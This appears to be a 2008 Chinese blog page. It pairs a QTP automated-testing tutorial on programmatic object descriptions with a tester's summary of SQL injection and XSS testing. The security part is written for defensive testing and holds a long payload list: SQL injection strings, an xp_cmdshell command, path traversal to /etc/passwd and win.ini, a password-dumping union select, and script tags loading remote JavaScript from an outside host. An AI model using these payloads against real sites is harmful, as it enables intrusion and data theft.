    TestObject(“PropertyName1:=PropertyValue1”,”,“PropertyNameX:=PropertyValueX)

    TestObject:指的是测试对象的类名

    PropertyName:=PropertyValue:指的是测试对象的属性及值。每对property:=value用双引号标记,并用逗号隔开。

    注:property value可以是变量。

    注意:在编程性描述中,QTP将所有的property value视为正则表达式。因此,当property value中包括正则表达式特殊字符(如*,?,+)时,要在特殊字符前加“\”

    下面的语句中,使用到了Mercury Tours网页中的一个WebEdit对象,它的NameAuthorIndex3。在运行过程中,QTP就会从网页中查找NameAuthor并且Index3WebEdit对象,并在WebEdit中输入文字“MarkTwain”。

    Browser("Mercury Tours").Page("Mercury Tours").WebEdit("Name:=Author", "Index:=3").Set "Mark Twain"

    注意:如果你对测试对象层级关系中的某个上级对象使用了编程性描述,那么在同一语句中,从该对象开始,它的所有下级对象都必须使用编程性描述,否则QTP不能识别该父级对象的下级对象。

    例如:语句中,层级关系中所有的对象都使用了编程性描述:

    Browser("Title:=Mercury Tours").Page("Title:=Mercury Tours").WebEdit("Name:=Author", "Index:=3").Set "Mark Twain"

    下面的语句中,从层级关系中的某个点开始,使用编程性描述(从Page对象开始):

    Browser("Mercury Tours").Page("Title:=Mercury Tours").WebEdit("Name:=Author", "Index:=3").Set "Mark Twain"

    但是,你不能象下面的语句这样使用编程性描述。(它对BrowserPage对象使用了编程性描述,但是对于WebEdit对象,却又想使用对象仓库中的名称)

    Browser("Title:=Mercury Tours").Page("Title:=Mercury Tours").WebEdit("Author").Set "Mark Twain"

    QTP偿试根据WebEdit的名称在仓库中定位对象,但是却无法在仓库中找到它的父对象。

    For more information on working with test objects, see Working with Test Objects.

    如果在脚本中你要多次使用到相同的编程性描述,可以将对象指定到变量。

    例如,有如下脚本:

    Window("Text:=Myfile.txt - Notepad").Move 50, 50

    Window("Text:=Myfile.txt - Notepad").WinEdit("AttachedText:=Find what:").Set "hello"

    Window("Text:=Myfile.txt - Notepad").WinButton("Caption:=Find next").Click

    你可以将脚本改进为:

    Set MyWin = Window("Text:=Myfile.txt - Notepad")

    MyWin.Move 50, 50

    MyWin.WinEdit("AttachedText:=Find what:").Set "hello"

    MyWin.WinButton("Caption:=Find next").Click

    你还可以使用With语句,将脚本改进为:

    With Window("Text:=Myfile.txt - Notepad")

           .Move 50, 50

           .WinEdit("AttachedText:=Find what:").Set "hello"

           .WinButton("Caption:=Find next").Click

    End With

    For more information about the With statement, see With Statement.

    在编程性描述中使用Descrīption对象(Using Descrīption Objects for Programmatic Descrīptions

    你可以使用Descrīption对象,来返回一个Properties collection对象,该集合对象包括一系列Property对象。每个Property对象由Property namevalue组成。

    然后在语句中用Properties collection对象替代被测对象的名称。

    注意:默认情况下,所有被添加到Properties collection中的Property对象的值被当成正则表达式对待。因此,当Property Value中包含正则表达式的特殊字符(如*?+)时,要在特殊字符前使用“\”符号。

    你也可以在Properties Collection中,将RegularExpression属性值设置为False,这样即使在Property Value中用到了正则表达式的特殊字符,也会被视为普通字符。更多信息参考QuickTest Professional Object Model ReferenceUtility部分。

    要创建Properties collection,使用Dexcription Create语句,语法如下:

    Set MyDescrīption = Descrīption.Create()

    一旦创建了Properties 对象(例如上例中的Mydescrīption,在运行过程中,你就可以使用语句向Properties对象添加、编辑、移除或获取属性及属性值。这使你在运行过程中可以动态的决定:在对象描述中使用哪些属性、使用多少属性。

    当你将一系列的属性及属性值加入到Properties collection中以后,你就可以在脚本语句中用Properties对象替代被测对象的名称。

    例如,有如下语句:

    Window("Error").WinButton("text:=OK", "width:=50").Click

    通过改造,成为:

    Set MyDescrīption = Descrīption.Create()
    MyDescrīption("text").Value = "OK"
    MyDescrīption("width").Value = 50
    Window("Error").WinButton(MyDescrīption).Click

    注:当为一个ActiveX对象创建编程性描述时,如果该对象的run-time对象是windowless的(即没有相应的window handel),就必须在属性描述中将它的windowless property设置为Ture

    例如:

    Set ButDesc = Descrīption.Create
    ButDesc("ProgId").Value = "Forms.CommandButton.1"
    ButDesc("Caption").Value = "OK"
    ButDesc("Windowless").Value = True
    Window("Form1").AcxButton(ButDesc).Click

     

    获取Child ObjectsRetrieving Child Objects

    通过ChildObjects方法,可以获取指定对象下的所有子对象,或只获取那些符合编程性描述的子对象。为了获取某对象的子对象的子集,首先需创建一个descrīption对象,然后在该对象的descrīptions collection中添加一系列的属性及属性值,这些属性及属性值必须符合子集的要求。

    注意:你必须使用Descrīption对象来为ChildObjects描述参数 创建编程性描述,不能使用property:=value语法直接将编程性描述添加到参数中。

    一旦你已经在descrīption对象中“built”了描述,就可以使用下面的语法来获取与描述匹配的子对象:

    Set MySubSet=TestObject.ChildObjects(MyDescrīption)

    例如:下面的语句使QTP选中网页中的所有选择框:

    Set MyDescrīption = Descrīption.Create()

    MyDescrīption("html tag").Value = "INPUT"

    MyDescrīption("type").Value = "checkbox"

    Set Checkboxes = Browser("Itinerary").Page("Itinerary").ChildObjects(MyDescrīption)

    NoOfChildObjs = Checkboxes.Count

    For Counter=0 to NoOfChildObjs-1

           Checkboxes(Counter).Set "ON"

    Next

    For more information about the ChildObjects method, refer to the QuickTest Professional Object Model Reference.

    WebElement对象使用编程性描述(Using Programmatic Descrīptions for the WebElement Object

    如果没有录制WebElement对象,也可以使用编程性描述,来对Web网站中的任何一个WebElement对象进行操作。

    例如:

    Browser("Mercury Tours").Page("Mercury Tours").WebElement("Name:=UserName", "Index:=0").Click

    set WebObjDesc = Descrīption.Create()

    WebObjDesc("Name").Value = "UserName"

    WebObjDesc("Index").Value = "0"

    Browser("Mercury Tours").Page("Mercury Tours").WebElement(WebObjDesc).Click

    QuickTest clicks on the first Web object in the Mercury Tours page with the name UserName.

    关于WebElement对象的更多信息,参考QuickTest Professional Object Model Reference

    在编程性描述中使用Index属性(Using the Index Property in Programmatic Descrīptions

    在需要唯一识别一个对象时,index属性有时候可能非常有用。index属性是对象在源代码中出现的顺序,第1次出现时,index值为0

    Index属性是object-specific的。因此,当你用index属性值“3来描述一个WebEdit对象时,QTP会在被测程序的当前页面中查找第4WebEdit对象。

    如果你使用index属性值3来描述一个WebElement对象时,QTP会在被测程序的当前页面中查找第4Web对象。

    例如,当前页面中存在下面的对象:

    • 一个名为QppleImage对象
    • 一个名为UserNameImage对象
    • 一个名为UserNameWebEdit对象
    • 一个名为PasswordImage对象
    • 一个名为PasswordWebEdit对象

    下面的语句中指的是列表中的第3个对象,因为它要求指向的是第1个名为UserNameWebEdit对象。

    WebEdit("Name:=UserName", "Index:=0")

     

    下面的语句中指的是列表中的第2个对象,因为它要求指向的是第1个名为UserNameWebElement对象。

    WebElement("Name:=UserName", "Index:=0")

    注:如果当前只有一个对象,使用index=0将无法查找到对象,因此就不能在对象描述中使用index属性。

  • [原创]Web安全测试总结

    davidwang_2004 发布于 2008-04-30 16:38:12

    前言: 百科上线前经过一段时间的了解和实践,Web安全测试有了一些理解,但没有真正敲开安全这个大门,没有发现真正的Web注入型攻击的漏洞. 所以安全测试连测试报告都没有写. 本文将一段时间来收集和理解的安全测试内容做一个总结.部分内容是个人理解.理解如存在问题,请告知,谢谢!

    概述: 本文介绍SQL注入攻击和跨站脚本攻击(XSS)两个方面的攻击和测试, 首先描述我个人理解,然后罗列网络上以后的文档和资料信息.

     SQLInjection或者XSS攻击, 根本的原理就是在浏览器客户端发送给服务器的请求中, 修改请求的内容, 在服务器对输入没有做全面检测时, 由服务器执行带有错误脚本的请求, 返回给攻击人员一些不该返回的信息, 或者执行一些特殊操作.

     
    请求中带有的参数一般分为三个方面

    1.       URL中带有参数
    比如
    : http://www.xx.xx/s?op=get&val=hello,其中的Opval就是参数名,=后面的就是参数数值
    2.       Http请求报文内的Post Data,如下图中的Username还有password
    3.      
    Cookie, 浏览器发送的Cookie,实际上也是发送的参数的一种形式

     

    攻击原理总结

    不管SQL注入或者XSS攻击,原理类似.都是通过修改参数, 在参数中加入特殊字符, 改变原有请求, 让服务器做不该做的事情.

    比如输入usernamepassword,做登录操作,服务器接收后执行

    Select * from power where username=’@_username’ and passwd=’@_password’

    攻击者修改参数_username= aaa’ or 1=1 ; drop databases xxbc;

    服务器没有做判断,接受到参数后直接放入SQL语句中执行

    Select * from power where username=’ aaa’ or 1=1 ; drop databases xxbc ;and passwd=’@_password’

    那么Select * from power where username=’ aaa’ or 1=1 ;语句执行肯定是成功的, 后面的删除表,或者查询power表等等操作都可以执行了. 数据或者被删除,或者被查看.

    攻击解决方法

    网络上较多Web安全编程的描述, 方法有比如对所有的输入参数做判断和替换; 对一些不允许直接访问的URL进行限制;等等

     

    攻击或者检测用工具

    1.       商用的Acunetix Web Vulnerability Scanner

    号称是2006X佳安全软件之一,可以针对网站进行各类Web安全漏洞扫描, 拿不到最新的版本,网上有的是4.0Crack

    下图是测试开发商提供网站的结果, 收获颇丰,但扫描百科网站,跑了1个晚上,只有些Braken Link错误

     

    有兴趣的可以上网站上去了解详细信息

    www.acunetix.com/vulnerability-scanner/

     

    2.       Paros开源web漏洞扫描

    原理是记录被测试网站访问的所有路径, 分析每个请求,针对其参数等方面进行扫描,然后记录测试结果和报告

    如下图,针对指定的URL进行扫描

    开源工具,可以上sourceforge上下载代码学习了解

    存在欠缺的地方:误报率较高.

    ===========================网络资料摘录

    详细原理性描述:

    下面描述网络中常见的安全问题以及如何从程序的角度去防御它们,介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

      1.SQL Injection(SQL 注入)

      (1)如何进行SQL注入测试?

    首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.

    1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.<FORM></FORM>的标签中间的每一个参数传递都有可能被利用.

    <form id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>


    2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,HTTP://DOMAIN/INDEX.ASP?ID=10

    其次,URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

    1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
      
    2:为什么是OR,以及',――是特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'

    输入http://duck/index.asp?username=admin' or 1='1&pwd=11SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'

    'admin前面的'组成了一个查询条件,username='admin',接下来的语句将按下一个查询条件来执行.

    接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    输入http://duck/index.asp?username=admin'--&pwd=11SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

     'admin前面的'组成了一个查询条件,username='admin',接下来的语句将按下一个查询条件来执行
     
    接下来是"--"查询条件,--”是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).

    最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.

    试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\\改的操作,这样造成的后果是非常严重的.

     

    (2)如何预防SQL注入?

       从应用程序的角度来讲,我们要做以下三项工作:

    转义敏感字符及字符串(SQL的敏感字符包括:

    exec,xp_,sp_,declare,Union,cmd,+,//,..,;, ,--,%,0x, ><=!-*/()| ,空格”).

    屏蔽出错信息:阻止攻击者知道攻击的结果

    在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

       从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:

    需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)

    需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.

       当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

      (1)如何进行XSS测试?

    <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。

    <!--[if !supportLists]-->其次,在页面参数中输入如下语句(:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    <scrīpt>alert(document.cookie)</scrīpt>


         
    :其它的XSS测试语句

    ><scrīpt>alert(document.cookie)</scrīpt>
    ='><scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(document.cookie)</scrīpt>
    <scrīpt>alert(vulnerable)</scrīpt>
    %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
    <scrīpt>alert('XSS')</scrīpt>
    <img src="javascrīpt:alert('XSS')">
    %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
    %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
    %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
    %3f.jsp
    %3f.jsp
    &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
    <scrīpt>alert('Vulnerable')</scrīpt>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
    a/
    a?<scrīpt>alert('Vulnerable')</scrīpt>
    "><scrīpt>alert('Vulnerable')</scrīpt>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
    %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
    %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascrīpt:alert('XSS');">
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=javascrīpt:alert('XSS')>
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    <IMG SRC="jav ascrīpt:alert('XSS');">
    "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
    <IMG SRC=" javascrīpt:alert('XSS');">
    <scrīpt>a=/XSS/alert(a.source)</scrīpt>
    <BODY BACKGROUND="javascrīpt:alert('XSS')">
    <BODY ōNLOAD=alert('XSS')>
    <IMG DYNSRC="javascrīpt:alert('XSS')">
    <IMG LOWSRC="javascrīpt:alert('XSS')">
    <BGSOUND SRC="javascrīpt:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
    <IMG SRC='vbscrīpt:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescrīpt:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
    <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascrīpt:alert('XSS')">
    <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE="width: expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
    <BASE HREF="javascrīpt:alert('XSS');//">
    getURL("javascrīpt:alert('XSS')")
    a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascrīpt:alert('XSS');">
    "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
    <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
    <IMG SRC="javascrīpt:alert('XSS')"
    <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
     

     

    最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie,这就说明该网站存在XSS漏洞。

    试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。

      (2)如何预防XSS漏洞?
       
    从应用程序的角度来讲,要进行以下几项预防:

    Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.

    在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

        从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:

    在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。

    执行测试过程中也应对上述项进行检查。

251/212>

我的存档

数据统计

  • 访问量: 122
  • 建立时间: 2008-04-28
  • 更新时间: 2008-04-28

RSS订阅

Open Toolbar